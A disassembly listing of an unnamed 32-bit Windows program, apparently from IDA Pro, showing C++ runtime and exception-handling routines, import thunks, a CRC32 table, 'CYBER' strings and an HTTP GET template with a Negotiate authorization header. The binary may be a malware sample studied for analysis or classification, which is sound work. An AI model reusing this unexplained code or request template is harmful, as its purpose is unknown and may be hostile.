push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_43E148
mov ecx, [ebp+var_4]
call sub_43A7E0
mov esp, ebp
pop ebp
retn
sub_43AA50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AA70 proc near ; DATA XREF: .rdata:0043E150o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_43AAD0
push offset dword_43E560
lea ecx, [ebp+var_1C]
push ecx
call __CxxThrowException@8 ; _CxxThrowException(x,x)
mov esp, ebp
pop ebp
retn
sub_43AA70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AAA0 proc near ; DATA XREF: .rdata:off_43E148o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_43AA50
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_43AAC5
mov ecx, [ebp+var_4]
push ecx ; void *
call ??3@YAXPAX@Z ; operator delete(void *)
add esp, 4
loc_43AAC5: ; CODE XREF: sub_43AAA0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43AAA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AAD0 proc near ; CODE XREF: sub_43AA70+10p
; DATA XREF: .rdata:0043E548o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_43A720
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43E148
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43AAD0 endp
; ---------------------------------------------------------------------------
align 10h
; [00000019 BYTES: COLLAPSED FUNCTION unknown_libname_35. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AB20 proc near ; CODE XREF: unknown_libname_35+8p
push ebp
mov ebp, esp
push offset nullsub_1 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_43AB20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AB40 proc near ; CODE XREF: unknown_libname_35+Dp
push ebp
mov ebp, esp
xor eax, eax
mov al, byte_4F4C3C
and eax, 1
test eax, eax
jnz short loc_43AB60
mov cl, byte_4F4C3C
or cl, 1
mov byte_4F4C3C, cl
loc_43AB60: ; CODE XREF: sub_43AB40+Fj
pop ebp
retn
sub_43AB40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AB70 proc near ; CODE XREF: unknown_libname_35+12p
push ebp
mov ebp, esp
push offset __initp_misc_winxfltr_0 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_43AB70 endp
; ---------------------------------------------------------------------------
align 10h
; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr_0. PRESS KEYPAD "+" TO EXPAND]
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43AB96 proc near ; CODE XREF: sub_40E3C7+6Fp
jmp ds:dword_4F54F4
sub_43AB96 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4F554C
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43ABA2 proc near ; CODE XREF: sub_40D69B+5Ep
; sub_40F402+14Ap ...
jmp ds:dword_4F5548
sub_43ABA2 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4F5544
; ---------------------------------------------------------------------------
jmp ds:dword_4F5540
; ---------------------------------------------------------------------------
jmp ds:dword_4F553C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5538
; ---------------------------------------------------------------------------
jmp ds:dword_4F5534
; ---------------------------------------------------------------------------
jmp ds:dword_4F5530
; ---------------------------------------------------------------------------
jmp ds:dword_4F552C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5528
; ---------------------------------------------------------------------------
jmp ds:dword_4F5550
; ---------------------------------------------------------------------------
jmp ds:dword_4F5520
; ---------------------------------------------------------------------------
jmp ds:dword_4F551C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5518
; ---------------------------------------------------------------------------
jmp ds:dword_4F5514
; ---------------------------------------------------------------------------
jmp ds:dword_4F5510
; ---------------------------------------------------------------------------
jmp ds:dword_4F550C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5508
; ---------------------------------------------------------------------------
jmp ds:dword_4F5504
; ---------------------------------------------------------------------------
jmp ds:dword_4F5500
; ---------------------------------------------------------------------------
jmp ds:dword_4F54FC
; ---------------------------------------------------------------------------
jmp ds:dword_4F5524
; ---------------------------------------------------------------------------
jmp ds:dword_4F5338
; ---------------------------------------------------------------------------
jmp ds:dword_4F533C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5340
; ---------------------------------------------------------------------------
jmp ds:dword_4F5344
; ---------------------------------------------------------------------------
jmp ds:dword_4F5348
; ---------------------------------------------------------------------------
jmp ds:dword_4F534C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5350
; ---------------------------------------------------------------------------
jmp ds:dword_4F5354
; ---------------------------------------------------------------------------
jmp ds:dword_4F5358
; ---------------------------------------------------------------------------
jmp ds:dword_4F535C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5360
; ---------------------------------------------------------------------------
jmp ds:dword_4F5364
; ---------------------------------------------------------------------------
jmp ds:dword_4F5368
; ---------------------------------------------------------------------------
jmp ds:dword_4F536C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5370
; ---------------------------------------------------------------------------
jmp ds:dword_4F5374
; ---------------------------------------------------------------------------
jmp ds:dword_4F5378
; ---------------------------------------------------------------------------
jmp ds:dword_4F537C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5380
; ---------------------------------------------------------------------------
jmp ds:dword_4F5384
; ---------------------------------------------------------------------------
jmp ds:dword_4F5388
; ---------------------------------------------------------------------------
jmp ds:dword_4F538C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5390
; ---------------------------------------------------------------------------
jmp ds:dword_4F5394
; ---------------------------------------------------------------------------
jmp ds:dword_4F5398
; ---------------------------------------------------------------------------
jmp ds:dword_4F539C
; ---------------------------------------------------------------------------
jmp ds:dword_4F53A0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53A4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53A8
; ---------------------------------------------------------------------------
jmp ds:dword_4F53AC
; ---------------------------------------------------------------------------
jmp ds:dword_4F53B0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53B4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53B8
; ---------------------------------------------------------------------------
jmp ds:dword_4F53BC
; ---------------------------------------------------------------------------
jmp ds:dword_4F53C0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53C4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53C8
; ---------------------------------------------------------------------------
jmp ds:dword_4F53CC
; ---------------------------------------------------------------------------
jmp ds:dword_4F53D0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53D4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53D8
; ---------------------------------------------------------------------------
jmp ds:dword_4F53DC
; ---------------------------------------------------------------------------
jmp ds:dword_4F53E0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53E4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53E8
; ---------------------------------------------------------------------------
jmp ds:dword_4F53EC
; ---------------------------------------------------------------------------
jmp ds:dword_4F53F0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53F4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53F8
; ---------------------------------------------------------------------------
jmp ds:dword_4F53FC
; ---------------------------------------------------------------------------
jmp ds:dword_4F5400
; ---------------------------------------------------------------------------
jmp ds:dword_4F5404
; ---------------------------------------------------------------------------
jmp ds:dword_4F5408
; ---------------------------------------------------------------------------
jmp ds:dword_4F540C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5410
; ---------------------------------------------------------------------------
jmp ds:dword_4F52D4
; ---------------------------------------------------------------------------
jmp ds:dword_4F5414
; ---------------------------------------------------------------------------
jmp ds:dword_4F5418
; ---------------------------------------------------------------------------
jmp ds:dword_4F541C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5420
; ---------------------------------------------------------------------------
jmp ds:dword_4F5424
; ---------------------------------------------------------------------------
jmp ds:dword_4F5428
; ---------------------------------------------------------------------------
jmp ds:dword_4F542C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5430
; ---------------------------------------------------------------------------
jmp ds:dword_4F5434
; ---------------------------------------------------------------------------
jmp ds:dword_4F5438
; ---------------------------------------------------------------------------
jmp ds:dword_4F543C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5440
; ---------------------------------------------------------------------------
jmp ds:dword_4F5444
; ---------------------------------------------------------------------------
jmp ds:dword_4F5448
; ---------------------------------------------------------------------------
jmp ds:dword_4F544C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5450
; ---------------------------------------------------------------------------
jmp ds:dword_4F5454
; ---------------------------------------------------------------------------
jmp ds:dword_4F5458
; ---------------------------------------------------------------------------
jmp ds:dword_4F545C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5460
; ---------------------------------------------------------------------------
jmp ds:dword_4F5464
; ---------------------------------------------------------------------------
jmp ds:dword_4F5468
; ---------------------------------------------------------------------------
jmp ds:dword_4F546C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5470
; ---------------------------------------------------------------------------
jmp ds:dword_4F5474
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43AE06 proc near ; CODE XREF: _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord *)+27p
; __global_unwind2+13p
jmp ds:dword_4F5478
sub_43AE06 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4F547C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5480
; ---------------------------------------------------------------------------
jmp ds:dword_4F5484
; ---------------------------------------------------------------------------
jmp ds:dword_4F5488
; ---------------------------------------------------------------------------
jmp ds:dword_4F548C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5490
; ---------------------------------------------------------------------------
jmp ds:dword_4F5494
; ---------------------------------------------------------------------------
jmp ds:dword_4F5498
; ---------------------------------------------------------------------------
jmp ds:dword_4F549C
; ---------------------------------------------------------------------------
jmp ds:dword_4F54A0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54A4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54A8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54AC
; ---------------------------------------------------------------------------
jmp ds:dword_4F54B0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54B4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54B8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54BC
; ---------------------------------------------------------------------------
jmp ds:dword_4F54C0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54C4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54C8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54CC
; ---------------------------------------------------------------------------
jmp ds:dword_4F54D0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54D4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54D8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54DC
; ---------------------------------------------------------------------------
jmp ds:dword_4F54E0
; ---------------------------------------------------------------------------
jmp ds:dword_4F54E4
; ---------------------------------------------------------------------------
jmp ds:dword_4F54E8
; ---------------------------------------------------------------------------
jmp ds:dword_4F54EC
; ---------------------------------------------------------------------------
jmp ds:dword_4F5334
; ---------------------------------------------------------------------------
jmp ds:dword_4F5330
; ---------------------------------------------------------------------------
jmp ds:dword_4F532C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5328
; ---------------------------------------------------------------------------
jmp ds:dword_4F5324
; ---------------------------------------------------------------------------
jmp ds:dword_4F5320
; ---------------------------------------------------------------------------
jmp ds:dword_4F531C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5318
; ---------------------------------------------------------------------------
jmp ds:dword_4F5314
; ---------------------------------------------------------------------------
jmp ds:dword_4F5310
; ---------------------------------------------------------------------------
jmp ds:dword_4F530C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5308
; ---------------------------------------------------------------------------
jmp ds:dword_4F5304
; ---------------------------------------------------------------------------
jmp ds:dword_4F5300
; ---------------------------------------------------------------------------
jmp ds:dword_4F52FC
; ---------------------------------------------------------------------------
jmp ds:dword_4F52F8
; ---------------------------------------------------------------------------
jmp ds:dword_4F52F4
; ---------------------------------------------------------------------------
jmp ds:dword_4F52F0
; ---------------------------------------------------------------------------
jmp ds:dword_4F52EC
; ---------------------------------------------------------------------------
jmp ds:dword_4F52E8
; ---------------------------------------------------------------------------
jmp ds:dword_4F52E4
; ---------------------------------------------------------------------------
jmp ds:dword_4F52E0
; ---------------------------------------------------------------------------
jmp ds:dword_4F52DC
; ---------------------------------------------------------------------------
jmp ds:dword_4F52D8
; ---------------------------------------------------------------------------
align 10h
; [000001A1 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000047 BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_43E158
mov ecx, [ebp-4]
mov dword ptr [ecx+4], 0
mov edx, [ebp-4]
mov dword ptr [edx+8], 0
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [0000002E BYTES: COLLAPSED FUNCTION exception::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000069 BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000084 BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002C BYTES: COLLAPSED FUNCTION exception::operator=(exception const &). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION exception::~exception(void). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000021 BYTES: COLLAPSED FUNCTION exception::what(void). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000040 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000028 BYTES: COLLAPSED FUNCTION type_info::operator==(type_info const &). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000029 BYTES: COLLAPSED FUNCTION type_info::operator!=(type_info const &). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002C BYTES: COLLAPSED FUNCTION type_info::before(type_info const &). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000011 BYTES: COLLAPSED FUNCTION type_info::raw_name(void). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000019 BYTES: COLLAPSED FUNCTION type_info::type_info(type_info const &). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000010 BYTES: COLLAPSED FUNCTION std::_Init_locks::operator=(std::_Init_locks const &). PRESS KEYPAD "+" TO EXPAND]
; [00000041 BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000C5 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000B4 BYTES: COLLAPSED FUNCTION sub_43B5C0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000002E7 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000056 BYTES: COLLAPSED FUNCTION _wcsncnt. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000077 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000017 BYTES: COLLAPSED FUNCTION _is_wctype. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
sub_43BA70 proc near ; DATA XREF: .rdata:0043E364o
lea ecx, [ebp-38h]
jmp sub_40DD38
sub_43BA70 endp
; =============== S U B R O U T I N E =======================================
sub_43BA78 proc near ; DATA XREF: .rdata:0043E35Co
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_43BA8E
mov ecx, [ebp+8]
jmp sub_40DD38
; ---------------------------------------------------------------------------
locret_43BA8E: ; CODE XREF: sub_43BA78+8j
retn
sub_43BA78 endp
; ---------------------------------------------------------------------------
loc_43BA8F: ; DATA XREF: sub_40D8D7o
mov eax, offset dword_43E338
jmp ___CxxFrameHandler3
; =============== S U B R O U T I N E =======================================
sub_43BA99 proc near ; DATA XREF: .rdata:0043E38Co
lea ecx, [ebp+14h]
jmp sub_40DD38
sub_43BA99 endp
; =============== S U B R O U T I N E =======================================
sub_43BAA1 proc near ; DATA XREF: .rdata:0043E394o
lea ecx, [ebp-1Ch]
jmp sub_40DD38
sub_43BAA1 endp
; ---------------------------------------------------------------------------
loc_43BAA9: ; DATA XREF: sub_40DA4Eo
mov eax, offset dword_43E368
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
align 4
loc_43BAB4: ; DATA XREF: sub_40E175o
mov eax, offset dword_43E398
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_43BAC0 proc near ; DATA XREF: .rdata:0043E494o
lea ecx, [ebp-38h]
call sub_40DD38
retn
sub_43BAC0 endp
; =============== S U B R O U T I N E =======================================
SEH_43A6C0 proc near ; DATA XREF: sub_43A6C0+5o
mov eax, offset dword_43E470
jmp ___CxxFrameHandler3
SEH_43A6C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_43BAE0 proc near ; DATA XREF: .rdata:0043E4BCo
mov ecx, [ebp-10h]
call ??1exception@@UAE@XZ ; exception::~exception(void)
retn
sub_43BAE0 endp
; =============== S U B R O U T I N E =======================================
SEH_43A720 proc near ; DATA XREF: sub_43A720+5o
mov eax, offset dword_43E498
jmp ___CxxFrameHandler3
SEH_43A720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_43BB00 proc near ; DATA XREF: .rdata:0043E504o
mov ecx, [ebp-10h]
call ??1exception@@UAE@XZ ; exception::~exception(void)
retn
sub_43BB00 endp
; =============== S U B R O U T I N E =======================================
SEH_43A7E0 proc near ; DATA XREF: sub_43A7E0+5o
mov eax, offset dword_43E4E0
jmp ___CxxFrameHandler3
SEH_43A7E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_43BB20 proc near ; DATA XREF: .rdata:0043E52Co
mov ecx, [ebp-14h]
call ??1exception@@UAE@XZ ; exception::~exception(void)
retn
sub_43BB20 endp
; =============== S U B R O U T I N E =======================================
SEH_43A8A0 proc near ; DATA XREF: sub_43A8A0+5o
mov eax, offset dword_43E508
jmp ___CxxFrameHandler3
SEH_43A8A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_43BB40 proc near ; DATA XREF: .rdata:0043E594o
lea ecx, [ebp-38h]
call sub_40DD38
retn
sub_43BB40 endp
; =============== S U B R O U T I N E =======================================
SEH_43A9C0 proc near ; DATA XREF: sub_43A9C0+5o
mov eax, offset dword_43E570
jmp ___CxxFrameHandler3
SEH_43A9C0 endp
_text ends
; Section 2. (virtual address 0003C000)
; Virtual size : 00002598 ( 9624.)
; Section size in file : 00002598 ( 9624.)
; Offset to raw data for section: 0003C000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 43C000h
dd 0
dd 4683E0FEh, 0
dd 2, 61h, 0
dd 59C00h
dword_43C01C dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber db 'CYBER',0 ; DATA XREF: sub_401CC7+3476o
; sub_401CC7+3566o ...
align 4
aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401CC7+3896o
; sub_401CC7+38CCo ...
align 4
; char aGetHttp1_0Host[]
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40DA4E+68o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dbl_43C468 dq 1.388888888888889e-2 ; DATA XREF: sub_40D88B+2Fr
dbl_43C470 dq 1.666666666666667e-1 ; DATA XREF: sub_40D88B+15r
dbl_43C478 dq 1.333333333333333 ; DATA XREF: sub_40D8D7+70r
dword_43C480 dd 0FFFFFFFFh ; DATA XREF: sub_40DCEB+13r
; sub_40DD68r ...
dword_43C484 dd 0 ; DATA XREF: sub_40E04Fo
flt_43C488 dd 5.0e-1 ; DATA XREF: sub_40E3C7+39Br
align 10h
dbl_43C490 dq 9.765625e-4 ; DATA XREF: sub_416F62+2BDr
; sub_416F62+2D8r ...
dbl_43C498 dq -1.52587890625e-4 ; DATA XREF: sub_418650+3E5r
dbl_43C4A0 dq 3.0517578125e-4 ; DATA XREF: sub_418650+3C5r
dbl_43C4A8 dq -3.0517578125e-4 ; DATA XREF: sub_418650+342r
; sub_418650+3A7r
dbl_43C4B0 dq 1.52587890625e-4 ; DATA XREF: sub_418650+271r
dbl_43C4B8 dq -1.739501953125e-3 ; DATA XREF: sub_418650+24Br
; sub_418650+2D5r ...
dbl_43C4C0 dq 3.11279296875e-3 ; DATA XREF: sub_418650+E1r
dbl_43C4C8 dq 3.0517578125e-5 ; DATA XREF: sub_418650+AEr
; sub_418650+138r ...
dbl_43C4D0 dq 6.103515625e-5 ; DATA XREF: sub_418650+93r
; sub_418650+308r
dbl_43C4D8 dq 2.288818359375e-3 ; DATA XREF: sub_418650+21r
dbl_43C4E0 dq -3.0517578125e-5 ; DATA XREF: sub_419551+2Br
flt_43C4E8 dd 9.765625e-4 ; DATA XREF: sub_41B3B5+1B0r
flt_43C4EC dd 8.0 ; DATA XREF: sub_41B3B5+1AAr
flt_43C4F0 dd 0.0 ; DATA XREF: sub_41B3B5+171r
flt_43C4F4 dd 1.0e-3 ; DATA XREF: sub_41B3B5+168r
aFclose_c db 'fclose.c',0 ; DATA XREF: _fclose+1Do
; __fclose_lk+25o
align 4
; char aStreamNull[]
aStreamNull db 'stream != NULL',0 ; DATA XREF: _fclose+14o _fseek+Do ...
align 4
; char aStrNull[]
aStrNull db 'str != NULL',0 ; DATA XREF: __fclose_lk+1Co
; sub_41F210+45o ...
aClient db 'Client',0 ; DATA XREF: .data:00451910o
align 4
aIgnore db 'Ignore',0 ; DATA XREF: .data:0045190Co
align 10h
aCrt db 'CRT',0 ; DATA XREF: .data:00451908o
aNormal_0 db 'Normal',0 ; DATA XREF: .data:00451904o
align 4
aFree db 'Free',0 ; DATA XREF: .data:off_451900o
align 8
dword_43C548 dd 0FFFFFFFFh, 0 ; DATA XREF: __nh_malloc_dbg+5o
dd offset sub_41C17D
aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0
; DATA XREF: __heap_alloc_dbg:loc_41C34Ao
; _realloc_help:loc_41C7D0o
align 4
; char aInvalidAllocat[]
aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0
; DATA XREF: __heap_alloc_dbg+11Bo
; char aS_32[]
aS_32 db '%s',0 ; DATA XREF: __heap_alloc_dbg+BCo
; __heap_alloc_dbg+16Fo ...
align 10h
aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0
; DATA XREF: __heap_alloc_dbg:loc_41C297o
align 4
; char aClientHookAllo[]
aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: __heap_alloc_dbg+94o
align 4
aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: __heap_alloc_dbg+31o
; _realloc_help+77o ...
align 4
; char a_crtcheckmemor[]
a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: __heap_alloc_dbg+25o
; _realloc_help+6Bo ...
align 10h
